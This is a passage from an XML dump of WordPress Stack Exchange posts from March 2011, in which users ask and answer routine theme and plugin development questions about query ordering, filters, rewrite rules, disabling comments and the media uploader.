&lt;code&gt;the_author_meta&lt;/code&gt;. Are you using it inside the loop?&lt;/p&gt;&#xA;" OwnerUserId="1695" LastActivityDate="2011-03-05T00:07:05.227" CommentCount="2" />
  <row Id="11206" PostTypeId="1" AcceptedAnswerId="11207" CreationDate="2011-03-05T00:15:09.987" Score="0" ViewCount="270" Body="&lt;p&gt;Is it possible to sort pages in the loop using the admin's order field (under page attributes)? &lt;/p&gt;&#xA;" OwnerUserId="3711" LastActivityDate="2011-03-05T00:28:02.487" Title="Sort pages in loop by admin's page attributes order field?" Tags="&lt;admin&gt;&lt;loop&gt;&lt;sort&gt;" AnswerCount="1" />
  <row Id="11207" PostTypeId="2" ParentId="11206" CreationDate="2011-03-05T00:28:02.487" Score="1" ViewCount="" Body="&lt;p&gt;Yes, use the &lt;code&gt;orderby&lt;/code&gt; clause in your query posts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array('orderby'=&amp;gt;'menu_order' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Order_.26_Orderby_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/WP_Query#Order_.26_Orderby_Parameters&lt;/a&gt; for reference&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-03-05T00:28:02.487" CommentCount="1" />
  <row Id="11208" PostTypeId="2" ParentId="11203" CreationDate="2011-03-05T00:28:11.273" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$authordesc = get_the_author_meta( 'description' );&#xA;&#xA;if ( ! empty ( $authordesc ) )&#xA;{&#xA;?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php&#xA;    echo get_author_posts_url( get_the_author_meta( 'id' ) );&#xA;    ?&amp;gt;&quot;&amp;gt;&amp;lt;?php&#xA;    the_author();&#xA;    ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php&#xA;    echo wpautop( $authordesc );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-05T00:28:11.273" CommentCount="1" />
  <row Id="11209" PostTypeId="1" CreationDate="2011-03-05T01:06:28.813" Score="0" ViewCount="89" Body="&lt;p&gt;i am new at wordpress and i have a particular theme with a xname.sql and import this to my server but if i try to activate the theme manually just adding the files to wp-content/themes the theme dont recognize the images of the theme in the front page and looks awful but i cant make the import directly i want to know what options this theme change... any ideas will be apreciated.&lt;/p&gt;&#xA;" OwnerUserId="3721" LastActivityDate="2011-03-05T01:06:28.813" Title="how a theme alters the wp_options page" Tags="&lt;themes&gt;&lt;database&gt;&lt;wp-options&gt;" CommentCount="1" />
  <row Id="11210" PostTypeId="1" CreationDate="2011-03-05T01:22:28.227" Score="1" ViewCount="171" Body="&lt;p&gt;For a user with wiki-update permission only, I want to list their wiki articles in the author archive page. Currently, it comes back with &quot;NOT FOUND   Apologies, but ...&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the Twenty-ten child theme and created a custom loop-wiki.php but now have a block about how to proceed. Any ideas? Anyone? I've searched and found similar type discussion but nothing stands out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3722" LastActivityDate="2011-05-17T23:51:16.003" Title="Including post_type = 'wiki' in author archives" Tags="&lt;archive&gt;&lt;author&gt;&lt;wiki&gt;&lt;post-type&gt;" AnswerCount="1" />
  <row Id="11211" PostTypeId="1" AcceptedAnswerId="11226" CreationDate="2011-03-05T01:59:19.783" Score="0" ViewCount="156" Body="&lt;p&gt;I'd like to optionally replace some RSS item titles with a headline meta field I've added to certain post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the post types showing up in the feed using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myfeed_request($qv) {&#xA;  if (isset($qv['feed']) &amp;amp;&amp;amp; !isset($qv['post_type']))&#xA;    $qv['post_type'] = array('post', 'interviews', 'reviews');&#xA;  return $qv;&#xA;}&#xA;add_filter('request', 'myfeed_request');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I've searched around and can't figure out how to replace the title. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3618" LastActivityDate="2011-03-05T10:46:25.127" Title="How can I modify RSS item titles to be either the title or a custom meta field?" Tags="&lt;custom-field&gt;&lt;rss&gt;&lt;post-meta&gt;&lt;title&gt;" AnswerCount="1" />
  <row Id="11212" PostTypeId="1" CreationDate="2011-03-05T02:05:06.147" Score="0" ViewCount="102" Body="&lt;p&gt;I have a post type set up called Projects with a few posts in it. Strangely, when I click on each of the posts, the url changes to something else, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click on &lt;code&gt;/projects/project-3/&lt;/code&gt;, the url changes to &lt;code&gt;/blog/project-3/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blog is my default category. I tried resetting the permalinks but nothing happened. Anybody have an idea as to why this may happen?&lt;/p&gt;&#xA;" OwnerUserId="3714" LastActivityDate="2011-03-05T02:05:06.147" Title="url link changes to something else when clicked on" Tags="&lt;custom-post-types&gt;" CommentCount="4" />
  <row Id="11213" PostTypeId="1" CreationDate="2011-03-05T03:41:21.353" Score="2" ViewCount="160" Body="&lt;p&gt;I need to add a wrapper (I'll use &lt;code&gt;&amp;lt;figure&amp;gt;&lt;/code&gt; in my example) around images posted through the editor, with a variable depending on the size image is being posted (thumbnail, medium, large, full), something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;figure class=&quot;$size&quot;&amp;gt;&#xA;    &amp;lt;a rel=&quot;attachment&quot; href=&quot;....&amp;gt;&#xA;         &amp;lt;img... /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;&amp;lt;/figure&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I already solved the first step, adding the wrapper with a filter through &lt;code&gt;image_send_to_editor&lt;/code&gt;, but I can't find a way to get the image size so I can add it to the class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue?&lt;/p&gt;&#xA;" OwnerUserId="1055" LastActivityDate="2011-03-05T04:46:43.163" Title="There's some way to add a wrapper around posted images?" Tags="&lt;plugins&gt;&lt;images&gt;&lt;filters&gt;" AnswerCount="1" />
  <row Id="11214" PostTypeId="2" ParentId="10677" CreationDate="2011-03-05T03:52:02.487" Score="0" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_body_class( $classes ) {&#xA;    global $post;&#xA;&#xA;    # Page&#xA;    if ( is_page() ) {&#xA;        # Has parent / is sub-page&#xA;        if ( $post-&amp;gt;post_parent ) {&#xA;            # Parent post name/slug&#xA;            $parent = get_post( $post-&amp;gt;post_parent );&#xA;            $classes[] = 'parent-slug-'.$parent-&amp;gt;post_name;&#xA;&#xA;            # Parent template name&#xA;            $parent_template = get_post_meta( $parent-&amp;gt;ID, '_wp_page_template', true);&#xA;            if ( !empty($parent_template) )&#xA;                $classes[] = 'parent-template-'.sanitize_html_class( str_replace( '.', '-', $parent_template ), '' );&#xA;        }&#xA;    }&#xA;&#xA;    return $classes;&#xA;}&#xA;add_filter( 'body_class', 'my_body_class' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll get two additional classes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;parent-slug-&lt;strong&gt;postname&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;parent-template-&lt;strong&gt;templatename&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3367" LastActivityDate="2011-03-05T03:52:02.487" CommentCount="8" />
  <row Id="11215" PostTypeId="1" CreationDate="2011-03-05T04:23:42.493" Score="2" ViewCount="66" Body="&lt;p&gt;I am, although still extremely n00by, a semi-competent web designer and developer and I have decided to start a blog.  I have heard all about this &lt;em&gt;WordPress&lt;/em&gt; phenomena and I am really excited to give it a try!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I really want my blog to stand out, and from what I can gather, installing WordPress locally gives me full customizability as I have the freedom to 'create my own theme' so to speak.  Is that the correct terminology, first of all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I've heard that by installing WordPress locally, it removes the limitations of having a 'paid' or 'free' version.  This would make sense since it is on your own PHP server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How difficult is this to do?  I'm assuming you create a design, and integrate the WP features through PHP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;Any suggestions are appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3723" LastActivityDate="2011-03-05T04:59:47.863" Title="First wordpress blog, should I make my own theme for maximum customizability?" Tags="&lt;theme-development&gt;&lt;php&gt;" AnswerCount="1" />
  <row Id="11216" PostTypeId="2" ParentId="11213" CreationDate="2011-03-05T04:46:43.163" Score="3" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;image_send_to_editor&lt;/code&gt; hook passes a whole range of parameters, not just the html. One of them is the size. To get it, hook your filter passing an 8 as the number of supported parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('image_send_to_editor', 'my_filter_cb'), 10, 8);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and modify your function header to grab them all:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_filter_cb ($html, $id, $caption, $title, $align, $url, $size, $alt) {&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-03-05T04:46:43.163" />
  <row Id="11217" PostTypeId="2" ParentId="11215" CreationDate="2011-03-05T04:59:47.863" Score="4" ViewCount="" Body="&lt;p&gt;Hi welcome to the world of WordPress. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My answer is a bit indirect...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think before you even start thinking about creating a theme, you should really understand how to create content in WordPress through writing blog posts, pages, how to edit the navigation bar, how to activate themes/plugins, and how to use the settings like the permalinks. A great site to learn all this stuff relatively cheap are the video tutorials WP101.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before you can really start creating a them you'll want to know what it takes to make a good theme and the only way to do that is to use a WordPress for what it was meant for: to create and publish content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you're ready to create a theme, I've heard the following free WordPress framework packages make a great start: Thematic, Theme Hybrid, and Carrington.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck and great to have you on board!&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-03-05T04:59:47.863" CommentCount="2" />
  <row Id="11218" PostTypeId="2" ParentId="1059" CreationDate="2011-03-05T06:08:41.203" Score="1" ViewCount="" Body="&lt;p&gt;The other option is to remove it entirely from functions.php. Search in functions.php for &quot;&lt;em&gt;powered&lt;/em&gt;&quot; and take out the portion of code reading: &lt;code&gt;. Powered by [wp-link].&lt;/code&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-03-05T06:08:41.203" CommentCount="1" />
  <row Id="11220" PostTypeId="1" AcceptedAnswerId="11228" CreationDate="2011-03-05T07:03:17.563" Score="0" ViewCount="398" Body="&lt;p&gt;I would like to let the user edit their comments using TinyMCE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-05T11:54:42.243" Title="How to add TinyMCE to a front-end textarea?" Tags="&lt;visual-editor&gt;" AnswerCount="1" />
  <row Id="11222" PostTypeId="1" CreationDate="2011-03-05T08:20:03.277" Score="5" ViewCount="345" Body="&lt;p&gt;I don't want any comment querys to run. I don't wont anything about comments to be shown in wordpress admin area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this possible in any way?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Remove all links to the comments from admin bar, and all of the backend section.&lt;/p&gt;&#xA;" OwnerUserId="3216" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-05-22T16:15:26.520" LastActivityDate="2011-05-22T16:15:26.520" Title="Is there ANY way to remove comments function and section totally?" Tags="&lt;wp-admin&gt;&lt;comments&gt;&lt;admin-menu&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="11223" PostTypeId="1" CreationDate="2011-03-05T09:16:21.713" Score="1" ViewCount="93" Body="&lt;p&gt;I've been reading through this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5413/need-help-with-add-rewrite-rule&quot;&gt;question and answer&lt;/a&gt; with great interest as I'm trying to achieve something very similar, but I'm failing and was wondering if someone could help me out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also using a custom plug which is querying a custom table in order to populate a page. The page is a normal WP page with a template attached that calls a function to my plug-in file to get data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I type this in the URL I get my page loading properly: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;www.mywebsite.com/?pagename=products/food-and-catering-workwear&amp;amp;prodid=232&amp;amp;pname=Trilby&#xA;  Hat&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would like to type this (or use it in a link) and get the same result: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;mywebsite.com/products/food-and-catering-workwear/232/Trilby&#xA;  Hat/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(BTW, I also was thinking the reverse about rewrite_rules at first; that it would actually 'change' my URL to the more 'friendly' version once in place :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added this line to the init function in my plug-in file (one thing is that I'm using this same init function to enqueue some js -- I was assuming it would bo okay to just add this line to the same function):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; add_rewrite_rule('([^/]+)/([^/]+)/([^/]+)/?','index.php?pagename=$matches[1]&amp;amp;prodid=$matches[2]&amp;amp;pname=$matches[3]','top' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: in my page hierarchy there will always be a parent page and a child page in the slug; chances are the parent will always be the same page, but the child will definitely vary. But I'd like to keep the rule flexible to catch all possibilities. The main trigger for my plug-in will be these two variables in the query string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also added prodid and pname to $query_vars:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; add_filter( 'query_vars', 'prod_query_vars' );&#xA;    function prod_query_vars( $query_vars )&#xA;    {&#xA;        $query_vars[] = 'prodid';&#xA;        $query_vars[] = 'pname';&#xA;        return $query_vars;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone see where I'm going wrong? One other thing. I'm not understanding the rule- flushing part. Since this is in a plug-in (not functions.php) when do I need to flush the rules? Each time I've updated the plugin file (trying out different code possibilities), I've first gone to the Permalinks page before trying to use my 'friendly' URL format. I noticed in one of the examples from the previous question: flush_rewrite_rules(false) was placed in the register_activation_hook() function, but my plug-in is already set up and running. I'm trying to alter it, so I'm thinking at this point I wouldn't be using this (but maybe this would be a solution for future 'installs' of the plug-in)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also not that versed in regular expressions, so I know it could be there where I'm going astray. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the long-winded question, but I wanted to supply as much detail to my situation as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance to anyone who can help.&lt;/p&gt;&#xA;" OwnerUserId="3681" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-05T16:37:29.803" LastActivityDate="2011-03-09T15:22:49.713" Title="Help With Rewrite_Rules For a Custom Plug-In" Tags="&lt;plugin-development&gt;&lt;rewrite-rules&gt;&lt;plugin-custom-permalinks&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="11224" PostTypeId="2" ParentId="11184" CreationDate="2011-03-05T10:05:00.843" Score="0" ViewCount="" Body="&lt;p&gt;I suggest you to create a custom page and name it home.php to load it first and link it where you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Hierarchy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-03-05T10:05:00.843" />
  <row Id="11225" PostTypeId="2" ParentId="11222" CreationDate="2011-03-05T10:23:54.773" Score="4" ViewCount="" Body="&lt;p&gt;This should remove support for comments on your site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'remove_comment_support');&#xA;&#xA;function remove_comment_support() {&#xA;    remove_post_type_support( 'post', 'comments' );&#xA;    remove_post_type_support( 'page', 'comments' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know if it will hide every mention of comments in the admin section, though. The &quot;Right Now&quot; box on the dashboard is mostly hard-coded, so you'd have to hide that box or do some hackery to filter out the line about &quot;Comments&quot;. But it should remove the &quot;comments&quot; text everywhere else that I can think of.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-03-05T10:23:54.773" CommentCount="1" />
  <row Id="11226" PostTypeId="2" ParentId="11211" CreationDate="2011-03-05T10:46:25.127" Score="1" ViewCount="" Body="&lt;p&gt;Something like this (not tested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_title_rss', 'custom_feed_title');&#xA;&#xA;function custom_feed_title($title) {&#xA;&#xA;    $headline = get_post_meta(get_the_id(), 'headline', true);&#xA;&#xA;    if (!empty($headline))&#xA;        return $headline;&#xA;&#xA;    return $title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-05T10:46:25.127" CommentCount="1" />
  <row Id="11228" PostTypeId="2" ParentId="11220" CreationDate="2011-03-05T11:25:34.393" Score="1" ViewCount="" Body="&lt;p&gt;I've used this plugin before: &lt;a href=&quot;http://wordpress.org/extend/plugins/tinymcecomments/&quot; rel=&quot;nofollow&quot;&gt;Tiny MCE for Comments&lt;/a&gt;. The plugin page says it's only been updated to WP 2.8.4, so not sure if it's working for more recent versions. Try it and see!&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-03-05T11:54:42.243" LastActivityDate="2011-03-05T11:54:42.243" />
  <row Id="11229" PostTypeId="1" CreationDate="2011-03-05T11:48:59.483" Score="0" ViewCount="46" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11233/wordpress-command-question&quot;&gt;Wordpress Command Question&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Ok would like to learn how to run commands through WP rather than SQL commands&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have created a text file named delete-non-authors.php to delete authors with no posts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to add this to a folder before uploading?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the permissions to execute this plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3730" LastActivityDate="2011-03-05T11:52:31.467" ClosedDate="2011-03-05T16:00:05.767" Title="Wordpress Command Question" Tags="&lt;3.1&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="11230" PostTypeId="2" ParentId="11223" CreationDate="2011-03-05T11:49:09.910" Score="1" ViewCount="" Body="&lt;p&gt;In regards to when you need to be flushing the rewrite rules:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should only happen once, make sure you are &lt;strong&gt;not&lt;/strong&gt; calling &lt;code&gt;flush_rules()&lt;/code&gt; on init, as this will really kill performance for high traffic sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress stores all of the rewrites in an array in the database, so all you need to do is hook in just before it updates the database. One way to do it is hook into &quot;rewrite_rules_array&quot; and add your rule:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'rewrite_rules_array', 'my_rewrites_function' );&#xA;&#xA;function my_rewrite_function( $rules ) {&#xA;&#xA;    $my_rules = array(&#xA;        '([^/]+)/([^/]+)/([^/]+)/?' =&amp;gt; 'index.php?pagename=$matches[1]&amp;amp;prodid=$matches[2]&amp;amp;pname=$matches[3]'&#xA;    );&#xA;    $rules = array_merge( $my_rules, $rules );&#xA;&#xA;    return $rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Keep your 'query_vars' hook as it is. You will need to visit the Permalinks page to insert your rule into WordPress' options - but then you should be set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't work, you can hook into 'parse_request' to see which rewrite rule was chosen for the page you are viewing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'parse_request', 'my_request_rewrite_check' );&#xA;&#xA;function my_request_check( $wp ) {&#xA;&#xA;    var_dump( $wp-&amp;gt;matched_rule );&#xA;    return $wp;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, your regex is a but loose for the structure you put above &lt;code&gt;mywebsite.com/products/food-and-catering-workwear/232/Trilby Hat/&lt;/code&gt;, it would be more like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;^products/([^/]+)/([\d]*)/([^/]+)/?$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is says &quot;starts with 'products', '/', then any word, '/', then any numbers, '/', then any word&quot; (&quot;$&quot; means that the string has to now end)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2011-03-05T11:49:09.910" CommentCount="3" />
  <row Id="11231" PostTypeId="1" AcceptedAnswerId="13744" CreationDate="2011-03-05T11:50:15.383" Score="2" ViewCount="207" Body="&lt;p&gt;&lt;code&gt;add_action()&lt;/code&gt; and &lt;code&gt;add_filter()&lt;/code&gt; are major functions. However in some scenarios &lt;em&gt;add one more function and hook it somewhere&lt;/em&gt; approach gets bulky and inconvenient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had determined for myself several use cases that can streamline code with wrappers on top of &lt;code&gt;add_*&lt;/code&gt; functions. Things that are better handled with single-liner than extra function each and every time.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Add arbitrary filter return&lt;/strong&gt;. There is already &lt;code&gt;__return_*&lt;/code&gt; functions but they are very limited by definition. Why not just pass what you want returned in filter. Saves from myriad &lt;code&gt;function return_stuff(){return 'stuff';}&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Replace X with Y in filter&lt;/strong&gt;. Saves from myriad &lt;code&gt;function replace_stuff(){return str_replace();}&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Add action with arbitrary arguments&lt;/strong&gt;. Actions fire with arguments, passed in hook. But sometimes you don't care about that and just want ot run your function with your own arguments at specific hook. Saves from myriad &lt;code&gt;function echo_stuff(){echo 'stuff'};&lt;/code&gt; and more.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there any other use cases you want and/or use in practice?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How would you implement such wrappers? There are a lot of possible approaches (closures, global variables to keep additional arguments, passing objects in callback, etc).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PS&lt;/strong&gt; I have couple different implementations for &lt;strong&gt;(1)&lt;/strong&gt; and &lt;strong&gt;(3)&lt;/strong&gt; already and (as suggested) will post bits of my code some time later so I don't spoil the fun. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_feed_cache_transient_lifetime', 'change_transient_lifetime', 10);&#xA;&#xA;function change_transient_lifetime($lifetime) {&#xA;&#xA;    return 3600;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wrapper:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter_return('wp_feed_cache_transient_lifetime', 10, 3600);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-29T21:13:49.367" LastActivityDate="2011-08-29T21:13:49.367" Title="Implementing advanced add_* function wrappers" Tags="&lt;hooks&gt;&lt;add-action&gt;&lt;add-filter&gt;&lt;wpse-plugin&gt;" AnswerCount="5" CommentCount="2" FavoriteCount="1" />
  <row Id="11232" PostTypeId="2" ParentId="11229" CreationDate="2011-03-05T11:52:31.467" Score="0" ViewCount="" Body="&lt;p&gt;You do &lt;strong&gt;not&lt;/strong&gt; need to put it into a folder (just make sure it's in the plugins directory). Permissions of 755 should be fine. &lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2011-03-05T11:52:31.467" />
  <row Id="11233" PostTypeId="1" CreationDate="2011-03-05T12:14:52.140" Score="0" ViewCount="68" Body="&lt;p&gt;Ok would like to learn how to run commands through WP rather than SQL commands&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have created a text file named delete-non-authors.php to delete authors with no posts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to add this to a folder before uploading?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the permissions to execute this plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3730" LastActivityDate="2011-04-04T12:39:19.940" Title="Wordpress Command Question" Tags="&lt;3.1&gt;" AnswerCount="1" />
  <row Id="11234" PostTypeId="2" ParentId="11233" CreationDate="2011-03-05T12:32:28.977" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Do I need to add this to a folder before uploading?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If the plugin only consists of this single file, then no, a folder is not required(but you can use a folder if you prefer). &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What are the permissions to execute this plugin?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you're talking about folder and file permissions, these are usually 755 for directories and 644 for files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's not what you mean, it's down to your plugin to determine the capabilities required to run/view it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-05T12:32:28.977" CommentCount="2" />
  <row Id="11235" PostTypeId="1" AcceptedAnswerId="11254" CreationDate="2011-03-05T12:36:32.487" Score="0" ViewCount="721" Body="&lt;p&gt;I generated a new MetaBox for all standard posts in WordPress 3.1. There I generate a input:text field with the ID &lt;code&gt;_meta_fotos[pic]&lt;/code&gt;, which should hould the image url generated by the standard media-uploader.&#xA;I want to use the standard media-uploader from the standard post window. So I generated the following JavaScript code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;  jQuery('#_meta_fotos\\[pic\\]').focusin(function() {&#xA;    formfield = jQuery('#_meta_fotos\\[pic\\]').attr('name');&#xA;    tb_show('', 'media-upload.php?type=image&amp;amp;amp;TB_iframe=true');&#xA;    return false;&#xA;  });&#xA;  window.send_to_editor = function(html) {&#xA;    imgURL = jQuery('img',html).attr('src');&#xA;    jQuery('#_meta_fotos\\[pic\\]').val(imgURL);&#xA;    tb_remove();&#xA;  }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the first step all works fine. But I don't get the real image URL. All I get back is a URL to the correct uploads-path with a filename &lt;code&gt;blank.gif&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked if the ThickBox is called by the &lt;code&gt;focusin&lt;/code&gt;-function: It is alright.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the problem ist in the &lt;code&gt;send_to_editor&lt;/code&gt;-function. It returns in &lt;code&gt;html&lt;/code&gt; the code from the underlaying main-Page and not from the popup-window of the 